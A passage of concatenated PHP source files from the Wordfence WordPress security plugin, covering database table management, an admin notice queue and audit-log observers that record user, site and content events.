false); $convertedTable = wfDB::networkTable($table); $this->db->queryWrite("DROP TABLE IF EXISTS {$convertedTable}"); if ($originalTable !== $convertedTable) { $this->db->queryWrite("DROP TABLE IF EXISTS {$originalTable}"); } } } public function createAll() { foreach(self::$tables as $table => $def){ $this->db->queryWrite("CREATE TABLE IF NOT EXISTS " . wfDB::networkTable($table) . " " . $def); } } public function create($table) { $this->db->queryWrite("CREATE TABLE IF NOT EXISTS " . wfDB::networkTable($table) . " " . self::$tables[$table]); } public function drop($table) { $originalTable = wfDB::networkTable($table, false); $convertedTable = wfDB::networkTable($table); $this->db->queryWrite("DROP TABLE IF EXISTS {$convertedTable}"); if ($originalTable !== $convertedTable) { $this->db->queryWrite("DROP TABLE IF EXISTS {$originalTable}"); } } public static function tableList() { return array_keys(self::$tables); } public static function updateTableCase() { global $wpdb; $hasCamelCaseTable = !!$wpdb->get_var($wpdb->prepare('SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME=%s', wfDB::networkTable('wfConfig', false))); if (is_multisite() && function_exists('update_network_option')) { update_network_option(null, self::TABLE_CASE_OPTION, !$hasCamelCaseTable); self::$_usingLowercase = !$hasCamelCaseTable; } else { update_option(self::TABLE_CASE_OPTION, !$hasCamelCaseTable); self::$_usingLowercase = !$hasCamelCaseTable; } } public static function usingLowercase() { if (self::$_usingLowercase === null) { if (is_multisite() && function_exists('update_network_option')) { self::$_usingLowercase = !!get_network_option(null, self::TABLE_CASE_OPTION); } else { self::$_usingLowercase = !!get_option(self::TABLE_CASE_OPTION); } } return self::$_usingLowercase; } }wfModuleController.php000064400000001362147206764270011124 0ustar00_optionIndexes = array(); $this->_optionBlocks = array(); } public function __get($key) { switch ($key) { case 'optionIndexes': return $this->_optionIndexes; case 'optionBlocks': return $this->_optionBlocks; } throw new OutOfBoundsException('Invalid key'); } public function addOptionIndex($target, $text) { $this->_optionIndexes[$target] = $text; } public function addOptionBlock($html) { $this->_optionBlocks[] = $html; } }menu_tools_importExport.php000064400000002436147206764270012261 0ustar00

Learn more about importing and exporting options (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_TOOLS_IMPORT_EXPORT)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'class'=>array()), 'span'=>array('class'=>array()))); ?>

'global-options-import', 'collapseable' => false, ))->render(); ?>
wfAdminNoticeQueue.php000064400000012313147206764270011030 0ustar00 $notice) { if ($notice['category'] === 'php8') { unset($notices[$id]); $altered = true; } } if ($altered) self::_setNotices($notices); return $notices; } protected static function _setNotices($notices) { wfConfig::set_ser('adminNoticeQueue', $notices); } /** * Adds an admin notice to the display queue. * * @param string $severity * @param string $messageHTML * @param bool|string $category If not false, notices with the same category will be removed prior to adding this one. * @param bool|array $users If not false, an array of user IDs the notice should show for. */ public static function addAdminNotice($severity, $messageHTML, $category = false, $users = false) { $notices = self::_notices(); foreach ($notices as $id => $n) { $usersMatches = false; if (isset($n['users'])) { $usersMatches = wfUtils::sets_equal($n['users'], $users); } else if ($users === false) { $usersMatches = true; } $categoryMatches = false; if ($category !== false && isset($n['category']) && $n['category'] == $category) { $categoryMatches = true; } if ($usersMatches && $categoryMatches) { unset($notices[$id]); } } $id = wfUtils::uuid(); $notices[$id] = array( 'severity' => $severity, 'messageHTML' => $messageHTML, ); if ($category !== false) { $notices[$id]['category'] = $category; } if ($users !== false) { $notices[$id]['users'] = $users; } self::_setNotices($notices); } /** * Removes an admin notice using one of three possible search methods: * * 1. If $id matches. $category and $users are ignored * 2. If $category matches. $users must be false for this. * 3. If $category matches and the notice's user IDs matches $users. * * @param bool|int $id * @param bool|string $category * @param bool|int[] $users */ public static function removeAdminNotice($id = false, $category = false, $users = false) { if ($id === false && $category === false && $users === false) { return; } else if ($id !== false) { $category = false; $users = false; } $notices = self::_notices(); $found = false; foreach ($notices as $nid => $n) { if ($id == $nid) { //ID match unset($notices[$nid]); $found=true; break; } else if ($id !== false) { continue; } if ($category !== false && isset($n['category']) && $category == $n['category']) { if ($users !== false) { if (isset($n['users']) && wfUtils::sets_equal($users, $n['users'])) { unset($notices[$nid]); $found=true; } } else { unset($notices[$nid]); $found=true; } } } if($found) self::_setNotices($notices); } public static function hasNotice($category = false, $users = false) { $notices = self::_notices(); foreach ($notices as $nid => $n) { $categoryMatches = false; if (($category === false && !isset($n['category'])) || ($category !== false && isset($n['category']) && $category == $n['category'])) { $categoryMatches = true; } $usersMatches = false; if (($users === false && !isset($n['users'])) || ($users !== false && isset($n['users']) && wfUtils::sets_equal($users, $n['users']))) { $usersMatches = true; } if ($categoryMatches && $usersMatches) { return true; } } return false; } public static function enqueueAdminNotices() { $user = wp_get_current_user(); if ($user->ID == 0) { return false; } $networkAdmin = is_multisite() && is_network_admin(); $notices = self::_notices(); $added = false; foreach ($notices as $nid => $n) { if (isset($n['users']) && array_search($user->ID, $n['users']) === false) { continue; } $notice = new wfAdminNotice($nid, $n['severity'], $n['messageHTML']); if ($networkAdmin) { add_action('network_admin_notices', array($notice, 'displayNotice')); } else { add_action('admin_notices', array($notice, 'displayNotice')); } $added = true; } return $added; } } class wfAdminNotice { const SEVERITY_CRITICAL = 'critical'; const SEVERITY_WARNING = 'warning'; const SEVERITY_INFO = 'info'; private $_id; private $_severity; private $_messageHTML; public function __construct($id, $severity, $messageHTML) { $this->_id = $id; $this->_severity = $severity; $this->_messageHTML = $messageHTML; } public function displayNotice() { $severityClass = 'notice-info'; if ($this->_severity == self::SEVERITY_CRITICAL) { $severityClass = 'notice-error'; } else if ($this->_severity == self::SEVERITY_WARNING) { $severityClass = 'notice-warning'; } echo ''; } }wfInvalidPathException.php000064400000000412147206764270011710 0ustar00path = $path; } public function getPath() { return $this->path; } }audit-log/wfAuditLogObserversPreview.php000064400000025421147206764270014467 0ustar00_addObserver('user_register', function() use ($auditLog) { //User created self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreUser::USER_CREATED); }); $auditLog->_addObserver('deleted_user', function() use ($auditLog) { //User deleted self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreUser::USER_DELETED); }); $auditLog->_addObserver('wp_login', function() use ($auditLog) { //User logged in self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreUser::USER_LOGGED_IN); }); $auditLog->_addObserver('after_password_reset', function() use ($auditLog) { //User password reset self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreUser::USER_PASSWORD_RESET); }); $auditLog->_addObserver('set_auth_cookie', function() use ($auditLog) { //Auth cookie set self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreUser::USER_AUTH_COOKIE_SET); }); $auditLog->_addObserver('add_user_role', function() use ($auditLog) { //User role assigned self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreUser::USER_ROLE_ADDED); }); $auditLog->_addObserver('wp_create_application_password', function() use ($auditLog) { //User application password created self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreUser::USER_APP_PASSWORD_CREATED); }); $auditLog->_addObserver('export_wp', function() use ($auditLog) { //Exported WP data self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_DATA_EXPORTED); }); $auditLog->_addObserver('update_option_default_role', function() use ($auditLog) { //Default role on user registration self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_OPTION_DEFAULT_ROLE); }); $auditLog->_addObserver('update_option_users_can_register', function() use ($auditLog) { //User registration allowed self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_OPTION_USER_REGISTRATION); }); $auditLog->_addObserver('update_option_siteurl', function() use ($auditLog) { //Site URL self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_OPTION_SITE_URL); }); $auditLog->_addObserver('update_option_home', function() use ($auditLog) { //Home URL self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_OPTION_HOME_URL); }); $auditLog->_addObserver('update_option_admin_email', function() use ($auditLog) { //Admin email self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_OPTION_ADMIN_EMAIL); }); $auditLog->_addObserver('update_option_default_comment_status', function() use ($auditLog) { //Default comment status self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_OPTION_DEFAULT_COMMENT_STATUS); }); $auditLog->_addObserver('update_option_template', function() use ($auditLog) { //Theme selected, this is the parent theme value self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_OPTION_TEMPLATE); }); $auditLog->_addObserver('update_option_stylesheet', function() use ($auditLog) { //Theme selected, this is the child theme value self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_OPTION_STYLESHEET); }); $auditLog->_addObserver('upgrader_post_install', function($response, $hook_extra, $result) use ($auditLog) { //Plugin/theme installed/updated if ($response && !is_wp_error($result)) { //Same flow as wfAuditLogObserversWordPressCoreSite->upgrader_post_install handler, which contains a data structure reference if (isset($hook_extra['action']) && isset($hook_extra['type']) && isset($result['source']) && isset($result['destination'])) { //Install if ($hook_extra['action'] == 'install') { if ($hook_extra['type'] == 'plugin') { self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_PLUGIN_INSTALLED); } else if ($hook_extra['type'] == 'theme') { self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_THEME_INSTALLED); } } } else if (isset($hook_extra['plugin']) && isset($result['source']) && isset($result['destination'])) { //Plugin update self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_UPDATE_PLUGIN); } else if (isset($hook_extra['theme']) && isset($result['source']) && isset($result['destination'])) { //Theme update self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_UPDATE_THEME); } } return $response; }, 'filter'); $auditLog->_addObserver('activated_plugin', function() use ($auditLog) { //Plugin activated self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_PLUGIN_ACTIVATED); }); $auditLog->_addObserver('deactivated_plugin', function() use ($auditLog) { //Plugin deactivated self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_PLUGIN_DEACTIVATED); }); $auditLog->_addObserver('deleted_plugin', function() use ($auditLog) { //Plugin deleted self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_PLUGIN_DELETED); }); $auditLog->_addObserver('switch_theme', function() use ($auditLog) { //Theme switched self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_THEME_SWITCHED); }); $auditLog->_addObserver('deleted_theme', function() use ($auditLog) { //Theme deleted self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_THEME_DELETED); }); $auditLog->_addObserver('customize_save_after', function() use ($auditLog) { //Theme customized self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_THEME_CUSTOMIZED); }); $auditLog->_addObserver('upgrader_process_complete', function($upgrader, $hook_extra) use ($auditLog) { //Core updated if (is_array($hook_extra) && isset($hook_extra['type']) && $hook_extra['type'] == 'core' && isset($hook_extra['action']) && $hook_extra['action'] == 'update') { self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_UPDATE_CORE); } }); $auditLog->_addObserver('automatic_updates_complete', function() use ($auditLog) { //Automatic updates complete self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_UPDATE_AUTOMATIC_COMPLETED); }); $auditLog->_addObserver('generate_recovery_mode_key', function() use ($auditLog) { //Recovery key generated self::_recordLocalEvent($auditLog, wfAuditLogObserversWordPressCoreSite::SITE_RECOVERY_MODE_KEY_GENERATED); }); $auditLog->_addObserver('wordfence_ls_2fa_deactivated', function() use ($auditLog) { //2FA deactivated on a user self::_recordLocalEvent($auditLog, wfAuditLogObserversWordfence::WORDFENCE_LS_2FA_DEACTIVATED); }); $auditLog->_addObserver('wordfence_ls_2fa_activated', function() use ($auditLog) { //2FA activated on a user self::_recordLocalEvent($auditLog, wfAuditLogObserversWordfence::WORDFENCE_LS_2FA_ACTIVATED); }); $auditLog->_addObserver('wordfence_waf_mode', function() use ($auditLog) { //WAF mode setting changed self::_recordLocalEvent($auditLog, wfAuditLogObserversWordfence::WORDFENCE_WAF_MODE_CHANGED); }); $auditLog->_addObserver('wordfence_waf_changed_rule_status', function() use ($auditLog) { //WAF rule mode(s) changed self::_recordLocalEvent($auditLog, wfAuditLogObserversWordfence::WORDFENCE_WAF_RULE_STATUS_CHANGED); }); $auditLog->_addObserver('wordfence_waf_changed_protection_level', function() use ($auditLog) { //WAF protection level changed self::_recordLocalEvent($auditLog, wfAuditLogObserversWordfence::WORDFENCE_WAF_PROTECTION_LEVEL_CHANGED); }); $auditLog->_addObserver('wordfence_waf_toggled_blocklist', function() use ($auditLog) { //WAF blocklist toggled on/off self::_recordLocalEvent($auditLog, wfAuditLogObserversWordfence::WORDFENCE_WAF_BLOCKLIST_TOGGLED); }); $auditLog->_addObserver('wordfence_updated_country_blocking', function() use ($auditLog) { //Country block changed self::_recordLocalEvent($auditLog, wfAuditLogObserversWordfence::WORDFENCE_BLOCKING_COUNTRY_UPDATED); }); $auditLog->_addObserver('wordfence_created_ip_pattern_block', function() use ($auditLog) { //IP or Pattern block created manually self::_recordLocalEvent($auditLog, wfAuditLogObserversWordfence::WORDFENCE_BLOCKING_IP_PATTERN_CREATED); }); $auditLog->_addObserver('wordfence_deleted_block', function() use ($auditLog) { //Block deleted manually self::_recordLocalEvent($auditLog, wfAuditLogObserversWordfence::WORDFENCE_BLOCKING_DELETED); }); } /** * Queues an audit event for saving to the local audit log preview. * * @param wfAuditLog $auditLog * @param string $type * @param int|null $timestamp */ private static function _recordLocalEvent($auditLog, $type, $timestamp = null) { if ($timestamp === null) { $timestamp = time(); } $recentEvents = $auditLog->_getState('disabledAuditLogRecentEvents', 0); if (empty($recentEvents)) { $recentEvents = array(); } array_unshift($recentEvents, array($type, $timestamp)); $auditLog->_trackState('disabledAuditLogRecentEvents', $recentEvents, 0); if (!$auditLog->_getState('disabledAuditLogDestructRegistered', 0)) { register_shutdown_function(function($auditLog) { self::_recentEventsLastAction($auditLog); }, $auditLog); //Wrapped in a closure because `register_shutdown_function` can't handle private static functions directly $auditLog->_trackState('disabledAuditLogDestructRegistered', true, 0); } } /** * Performed as a shutdown handler to save the recent events list. * * @param wfAuditLog $auditLog */ private static function _recentEventsLastAction($auditLog) { global $wpdb; $suppressed = $wpdb->suppress_errors(!(defined('WFWAF_DEBUG') && WFWAF_DEBUG)); $recentEvents = $auditLog->_getState('disabledAuditLogRecentEvents', 0); $auditLog->_updateAuditPreview(array($recentEvents)); $auditLog->_trackState('disabledAuditLogRecentEvents', array(), 0); $wpdb->suppress_errors($suppressed); } }audit-log/wfAuditLogObserversWordPressCoreContent.php000064400000043444147206764270017147 0ustar00 array( self::ATTACHMENT_CREATED, self::ATTACHMENT_DELETED, self::ATTACHMENT_UPDATED, self::PAGE_CREATED, self::PAGE_DELETED, self::PAGE_UPDATED, self::PAGE_MARK_TRASHED, self::PAGE_UNMARK_TRASHED, self::POST_CREATED, self::POST_DELETED, self::POST_UPDATED, self::POST_MARK_TRASHED, self::POST_UNMARK_TRASHED, ), ); } public static function eventNames() { return array( self::ATTACHMENT_CREATED => __('Attachment Created', 'wordfence'), self::ATTACHMENT_DELETED => __('Attachment Deleted', 'wordfence'), self::ATTACHMENT_UPDATED => __('Attachment Updated', 'wordfence'), //Pages self::PAGE_CREATED => __('Page Created', 'wordfence'), self::PAGE_DELETED => __('Page Deleted', 'wordfence'), self::PAGE_UPDATED => __('Page Updated', 'wordfence'), self::PAGE_MARK_TRASHED => __('Page Moved to Trash', 'wordfence'), self::PAGE_UNMARK_TRASHED => __('Page Removed from Trash', 'wordfence'), //Posts self::POST_CREATED => __('Post Created', 'wordfence'), self::POST_DELETED => __('Post Deleted', 'wordfence'), self::POST_UPDATED => __('Post Updated', 'wordfence'), self::POST_MARK_TRASHED => __('Post Moved to Trash', 'wordfence'), self::POST_UNMARK_TRASHED => __('Post Removed from Trash', 'wordfence'), ); } public static function eventRateLimiters() { return array(); } /** * Registers the observers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerObservers($auditLog) { if ($auditLog->mode() != self::AUDIT_LOG_MODE_ALL) { return; } //Attachments $auditLog->_addObserver('add_attachment', function($post_id) use ($auditLog) { //Attachment created $post = get_post($post_id); $auditLog->_recordAction(self::ATTACHMENT_CREATED, $auditLog->_sanitizePost($post)); }); $auditLog->_addObserver('attachment_updated', function($post_id, $post_after, $post_before) use ($auditLog) { //Attachment updated $changes = array_keys($auditLog->_postDiff($post_before, $post_after)); if (!$auditLog->_shouldRecordPostChanges($changes)) { //No meaningful changes to the record itself, skip this entry return; } $auditLog->_recordAction(self::ATTACHMENT_UPDATED, array_merge(array( 'changes' => $changes, ), $auditLog->_sanitizePost($post_after))); }); $auditLog->_addObserver('delete_attachment', function($post_id, $post = null /* WP >= 5.5 */) use ($auditLog) { //Attachment deleted if ($post === null) { $post = get_post($post_id); } $auditLog->_recordAction(self::ATTACHMENT_DELETED, $auditLog->_sanitizePost($post)); }); $auditLog->_addObserver('rest_after_insert_attachment', function($attachment, $request, $creating) use ($auditLog) { //Attachment added/updated via REST API, data already populated $auditLog->_recordAction($creating ? self::ATTACHMENT_CREATED : self::ATTACHMENT_UPDATED, array( 'source' => 'REST', ), true); }); $auditLog->_addObserver('rest_insert_attachment', function($attachment, $request, $creating) use ($auditLog) { //Attachment added/updated via REST API, data already populated $auditLog->_recordAction($creating ? self::ATTACHMENT_CREATED : self::ATTACHMENT_UPDATED, array( 'source' => 'REST', ), true); }); $auditLog->_addObserver('xmlrpc_call_success_mw_newMediaObject', function($id) use ($auditLog) { //Attachment added via XML-RPC API, data already populated $auditLog->_recordAction(self::ATTACHMENT_CREATED, array( 'source' => 'XMLRPC', ), true); }); //Post/Page $auditLog->_addObserver('wp_insert_post', function($post_id, $post /** @var WP_Post $post */, $update) use ($auditLog) { //Post/page created if (function_exists('wp_after_insert_post')) { //WP >= 5.6, prefer that hook when present return; } if ($post->post_type == self::WP_POST_TYPE_REVISION || $post->post_status == self::WP_POST_STATUS_AUTO_DRAFT || $post->post_type == self::WP_POST_TYPE_THEME_CUSTOMIZATION || $post->post_type == self::WP_POST_TYPE_NAV_MENU_ITEM) { //Ignore -- covered by other actions return; } if ($update) { $action = self::POST_UPDATED; if ($post->post_type == self::WP_POST_TYPE_PAGE) { $action = self::PAGE_UPDATED; } if ($auditLog->_hasState('pre_post_update.post', $post_id)) { $before = $auditLog->_getState('pre_post_update.post', $post_id); if (isset($before->post_status) && $before->post_status == self::WP_POST_STATUS_AUTO_DRAFT) { //Technically an update but really just converting the auto-draft into a populated post so call it a creation $action = self::POST_CREATED; if ($post->post_type == self::WP_POST_TYPE_PAGE) { $action = self::PAGE_CREATED; } } } } else { $action = self::POST_CREATED; if ($post->post_type == self::WP_POST_TYPE_PAGE) { $action = self::PAGE_CREATED; } } $auditLog->_recordAction($action, $auditLog->_sanitizePost($post)); }); $auditLog->_addObserver('post_updated', function($post_id, $post_after, $post_before) use ($auditLog) { //Post/page updated if (function_exists('wp_after_insert_post')) { //WP >= 5.6, prefer that hook when present return; } $changes = array_keys($auditLog->_postDiff($post_before, $post_after)); if (!$auditLog->_shouldRecordPostChanges($changes)) { //No meaningful changes to the record itself, skip this entry return; } if ($post_after->post_type == self::WP_POST_TYPE_REVISION || //Ignore -- relevant revision changes will be captured when they're saved to the owning post record ($post_before && $post_before->post_status == self::WP_POST_STATUS_AUTO_DRAFT) || $post_after->post_status == self::WP_POST_STATUS_AUTO_DRAFT || //Not interested in these until they become a post $post_after->post_type == self::WP_POST_TYPE_THEME_CUSTOMIZATION || $post_after->post_type == self::WP_POST_TYPE_NAV_MENU_ITEM //Not a type we care about ) { return; } $auditLog->_recordAction($post_after->post_type == self::WP_POST_TYPE_PAGE ? self::PAGE_UPDATED : self::POST_UPDATED, array_merge(array( 'changes' => $changes, ), $auditLog->_sanitizePost($post_after))); }); $auditLog->_addObserver('wp_after_insert_post' /* WP >= 5.6 */, function($post_id, $_ignored, $update, $post_before /** @var WP_Post $post_before */) use ($auditLog) { //Post/page created $post_after = get_post($post_id); if ($post_after->post_type == self::WP_POST_TYPE_REVISION || //Ignore -- relevant revision changes will be captured when they're saved to the owning post record $post_after->post_status == self::WP_POST_STATUS_AUTO_DRAFT || //Not interested in these until they become a permanent post $post_after->post_type == self::WP_POST_TYPE_THEME_CUSTOMIZATION || $post_after->post_type == self::WP_POST_TYPE_NAV_MENU_ITEM //Not a type we care about ) { return; } $changes = null; if ($post_before) { $changes = array_keys($auditLog->_postDiff($post_before, $post_after)); if (!$auditLog->_shouldRecordPostChanges($changes)) { //No meaningful changes to the record itself, skip this entry return; } } if ($update) { $action = self::POST_UPDATED; if ($post_after->post_type == self::WP_POST_TYPE_PAGE) { $action = self::PAGE_UPDATED; } if ($auditLog->_hasState('pre_post_update.post', $post_id)) { $before = $auditLog->_getState('pre_post_update.post', $post_id); if (isset($before->post_status) && $before->post_status == self::WP_POST_STATUS_AUTO_DRAFT) { //Technically an update but really just converting the auto-draft into a populated post so call it a creation $changes = null; $action = self::POST_CREATED; if ($post_after->post_type == self::WP_POST_TYPE_PAGE) { $action = self::PAGE_CREATED; } } } } else { $action = self::POST_CREATED; if ($post_after->post_type == self::WP_POST_TYPE_PAGE) { $action = self::PAGE_CREATED; } } $payload = $auditLog->_sanitizePost($post_after); if ($changes) { $payload['changes'] = $changes; } $auditLog->_recordAction($action, $payload); }); $auditLog->_addObserver('rest_after_insert_page', function($page, $request, $creating) use ($auditLog) { //Page created/updated via REST API, data already populated $auditLog->_recordAction($creating ? self::PAGE_CREATED : self::PAGE_UPDATED, array( 'source' => 'REST', ), true); }); $auditLog->_addObserver('rest_after_insert_post', function($post, $request, $creating) use ($auditLog) { //Post created/updated via REST API, data already populated $auditLog->_recordAction($creating ? self::POST_CREATED : self::POST_UPDATED, array( 'source' => 'REST', ), true); }); $auditLog->_addObserver(array('xmlrpc_call_success_blogger_newPost', 'xmlrpc_call_success_mw_newPost'), function($post_id) use ($auditLog) { //Page/Post added via XML-RPC API, data already populated $post = WP_Post::get_instance($post_id); if (!$post) { return; } $auditLog->_recordAction($post->post_type == self::WP_POST_TYPE_PAGE ? self::PAGE_CREATED : self::POST_CREATED, array( 'source' => 'XMLRPC', ), true); }); $auditLog->_addObserver('xmlrpc_call', function($action, $args = array() /* WP >= 5.7 */) use ($auditLog) { //Page/Post action via XML-RPC API, data already populated switch ($action) { case 'wp.newPost': if (!empty($args)) { //Not populated prior to WP 5.7 so omit this from the event (it will still record the rest, not not tagged as XML-RPC) $content_struct = $args[3]; if (!isset($content_struct['post_type'])) { $content_struct['post_type'] = 'post'; } //Apply the default $auditLog->_recordAction($content_struct['post_type'] == self::WP_POST_TYPE_PAGE ? self::PAGE_CREATED : self::POST_CREATED, array( 'source' => 'XMLRPC', ), true); } break; case 'wp.editPost': if (!empty($args)) { //Not populated prior to WP 5.7 so omit this from the event (it will still record the rest, not not tagged as XML-RPC) $post_id = (int) $args[3]; $post = WP_Post::get_instance($post_id); if (!$post) { return; } $auditLog->_recordAction($post->post_type == self::WP_POST_TYPE_PAGE ? self::PAGE_UPDATED : self::POST_UPDATED, array( 'source' => 'XMLRPC', ), true); } break; case 'wp.deletePost': if (!empty($args)) { //Not populated prior to WP 5.7 so omit this from the event (it will still record the rest, not not tagged as XML-RPC) $post_id = (int) $args[3]; $post = WP_Post::get_instance($post_id); if (!$post) { return; } $auditLog->_recordAction($post->post_type == self::WP_POST_TYPE_PAGE ? self::PAGE_DELETED : self::POST_DELETED, array( 'source' => 'XMLRPC', ), true); } break; case 'wp.newPage': if (!empty($args)) { //Not populated prior to WP 5.7 so omit this from the event (it will still record the rest, not not tagged as XML-RPC) $content_struct = $args[3]; if (!isset($content_struct['post_type'])) { $content_struct['post_type'] = 'post'; } //Apply the default $auditLog->_recordAction($content_struct['post_type'] == self::WP_POST_TYPE_PAGE ? self::PAGE_CREATED : self::POST_CREATED, array( 'source' => 'XMLRPC', ), true); } break; case 'wp.editPage': if (!empty($args)) { //Not populated prior to WP 5.7 so omit this from the event (it will still record the rest, not not tagged as XML-RPC) $post_id = (int) $args[1]; $post = WP_Post::get_instance($post_id); if (!$post) { return; } $auditLog->_recordAction($post->post_type == self::WP_POST_TYPE_PAGE ? self::PAGE_UPDATED : self::POST_UPDATED, array( 'source' => 'XMLRPC', ), true); } break; case 'mt.publishPost': if (!empty($args)) { //Not populated prior to WP 5.7 so omit this from the event (it will still record the rest, not not tagged as XML-RPC) $post_id = (int) $args[0]; $post = WP_Post::get_instance($post_id); if (!$post) { return; } $auditLog->_recordAction($post->post_type == self::WP_POST_TYPE_PAGE ? self::PAGE_UPDATED : self::POST_UPDATED, array( 'source' => 'XMLRPC', ), true); } break; } }); $auditLog->_addObserver(array('xmlrpc_call_success_blogger_editPost', 'xmlrpc_call_success_mw_editPost'), function($post_id) use ($auditLog) { //Page/Post updated via XML-RPC API, data already populated $post = WP_Post::get_instance($post_id); if (!$post) { return; } $auditLog->_recordAction($post->post_type == self::WP_POST_TYPE_PAGE ? self::PAGE_UPDATED : self::POST_UPDATED, array( 'source' => 'XMLRPC', ), true); }); $auditLog->_addObserver('deleted_post', function($post_id /** @var WP_Post $post also passed in WP > 5.5 */) use ($auditLog) { //Post/page deleted -- WP wraps a lot of functionality under the post storage type, so there are multiple events covered here if (!$auditLog->_hasState('delete_post.post')) { return; } $action = self::POST_DELETED; if ($auditLog->_getState('delete_post.post')['type'] == self::WP_POST_TYPE_PAGE) { $action = self::PAGE_DELETED; } $auditLog->_recordAction($action, $auditLog->_getState('delete_post.post')); }); $auditLog->_addObserver(array('xmlrpc_call_success_blogger_deletePost', 'xmlrpc_call_success_wp_deletePage'), function($post_id) use ($auditLog) { //Page/Post deleted via XML-RPC API, data already populated if (!$auditLog->_hasState('delete_post.post')) { return; } $auditLog->_recordAction($auditLog->_getState('delete_post.post')['type'] == self::WP_POST_TYPE_PAGE ? self::PAGE_CREATED : self::POST_CREATED, array( 'source' => 'XMLRPC', ), true); }); $auditLog->_addObserver('trashed_post', function($post_id) use ($auditLog) { //Post/page trashed $post = WP_Post::get_instance($post_id); if (!$post) { return; } if ($post->post_type == self::WP_POST_TYPE_REVISION || $post->post_type == self::WP_POST_TYPE_THEME_CUSTOMIZATION || $post->post_type == self::WP_POST_TYPE_NAV_MENU_ITEM) { //Ignore -- relevant revision changes will be captured when they're saved to the owning post record return; } $action = self::POST_MARK_TRASHED; if ($post->post_type == self::WP_POST_TYPE_PAGE) { $action = self::PAGE_MARK_TRASHED; } $auditLog->_recordAction($action, $auditLog->_sanitizePost($post)); }); $auditLog->_addObserver('untrashed_post', function($post_id) use ($auditLog) { //Post/page untrashed $post = WP_Post::get_instance($post_id); if (!$post) { return; } if ($post->post_type == self::WP_POST_TYPE_REVISION || $post->post_type == self::WP_POST_TYPE_THEME_CUSTOMIZATION || $post->post_type == self::WP_POST_TYPE_NAV_MENU_ITEM) { //Ignore -- relevant revision changes will be captured when they're saved to the owning post record return; } $action = self::POST_UNMARK_TRASHED; if ($post->post_type == self::WP_POST_TYPE_PAGE) { $action = self::PAGE_UNMARK_TRASHED; } $auditLog->_recordAction($action, $auditLog->_sanitizePost($post)); }); } /** * Registers the data gatherers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerDataGatherers($auditLog) { $auditLog->_addObserver('delete_post', function($post_id /** @var WP_Post $post also passed in WP > 5.5 */) use ($auditLog) { //Post/page will be deleted $post = WP_Post::get_instance($post_id); if ($post) { if ($post->post_type == self::WP_POST_TYPE_ATTACHMENT) { $auditLog->_trackState('delete_post.attachment', $auditLog->_sanitizePost($post)); } else if ($post->post_type == self::WP_POST_TYPE_REVISION) { //Ignore -- relevant revision changes will be captured when they're saved to the owning post record } else if ($post->post_type == self::WP_POST_TYPE_THEME_CUSTOMIZATION) { //Ignore -- covered by a dedicated event } else if ($post->post_type == self::WP_POST_TYPE_NAV_MENU_ITEM) { //Ignore } else if ($post->post_status != self::WP_POST_STATUS_AUTO_DRAFT) { //Post, page, or a custom one that is not an auto-draft $auditLog->_trackState('delete_post.post', $auditLog->_sanitizePost($post)); //We grab this here so it's available in `deleted_post` for WP < 5.5 } } }); $auditLog->_addObserver('pre_post_update', function($post_id, $data) use ($auditLog) { //Post will be updated $auditLog->_trackState('pre_post_update.post', get_post($post_id), $post_id); }); } /** * Registers the coalescers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerCoalescers($auditLog) { } }audit-log/wfAuditLogObserversWordPressCoreUser.php000064400000030406147206764270016445 0ustar00 array( self::USER_CREATED, self::USER_DELETED, self::USER_UPDATED, self::USER_ROLE_ADDED, self::USER_ROLE_REMOVED, self::USER_META_CAPABILITIES, self::USER_META_LEVEL, self::USER_STATUS_HAM, self::USER_STATUS_SPAM, ), wfAuditLog::AUDIT_LOG_CATEGORY_AUTHENTICATION => array( self::USER_APP_PASSWORD_CREATED, self::USER_APP_PASSWORD_DELETED, self::USER_APP_PASSWORD_ACCEPTED, self::USER_LOGGED_IN, self::USER_LOGGED_OUT, self::USER_AUTH_COOKIE_SET, self::USER_PASSWORD_RESET, ), ); } public static function eventNames() { return array( self::USER_CREATED => __('User Created', 'wordfence'), self::USER_DELETED => __('User Deleted', 'wordfence'), self::USER_UPDATED => __('User Updated', 'wordfence'), self::USER_APP_PASSWORD_CREATED => __('App Password Created', 'wordfence'), self::USER_APP_PASSWORD_DELETED => __('App Password 